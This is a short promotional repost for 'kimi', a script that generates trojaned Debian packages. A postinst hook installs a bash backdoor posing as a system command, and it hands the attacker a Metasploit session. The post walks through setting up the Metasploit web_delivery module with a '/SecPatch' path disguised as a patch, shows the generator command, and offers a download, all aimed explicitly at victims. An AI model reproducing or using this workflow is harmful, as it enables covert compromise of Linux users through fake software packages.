Malicious Debian Package Generator: kimi

Malicious Debian Package generator

Script to generate malicious debian packages (debain trojans).

     Kimi is a script which generates Malicious debian package for metasploit which consists of bash file. the bash file is deployed into “/usr/local/bin/” directory. Backdoor gets executed just when victim tries to install deb package due to postinst file Bash file injects and also acts like some system command which when executed by victim and attacker hits with session.


Malicious Debian Package Generator: kimi


Plus Points :
  • Fully indiependent. Means user no need to install any debian package creator
  • Can be integrated with any payload generator easily due to engagements of arguemt

Kimi basically depends upon web_delivery module and every thing is automated.

all the attacker needs is to do following settings :

Setting up Web_Delivery in msf :

msf > use exploit/multi/script/web_delivery
 msf exploit(web_delivery) > set srvhost
 srvhost =>
 msf exploit(web_delivery) > set uripath /SecPatch
 uripath => /SecPatch
 msf exploit(web_delivery) > set Lhost
 Lhost =>
 msf exploit(web_delivery) > show options
 msf exploit(web_delivery) > exploit


Generating Malicious payload :

dreamer@mindless ~/Desktop/projects/kimi $ sudo python -n nano -l -V 1.0

NOTE :: This project was made to be integrated with Venom Shellcode Generator 1.0.13. It can be used standalone also all user needs is to change uripath in msf variables

Tested on :

  • Linux Mint 17.2 Cinnamon (Ubuntu 14.04)
  • ParrotOS (Debian Jessie)
  • Kali Rolling 2.0


Malicious Debian Package Generator: kimi Download

Source: CyberPunk @ March 2, 2017 at 02:00PM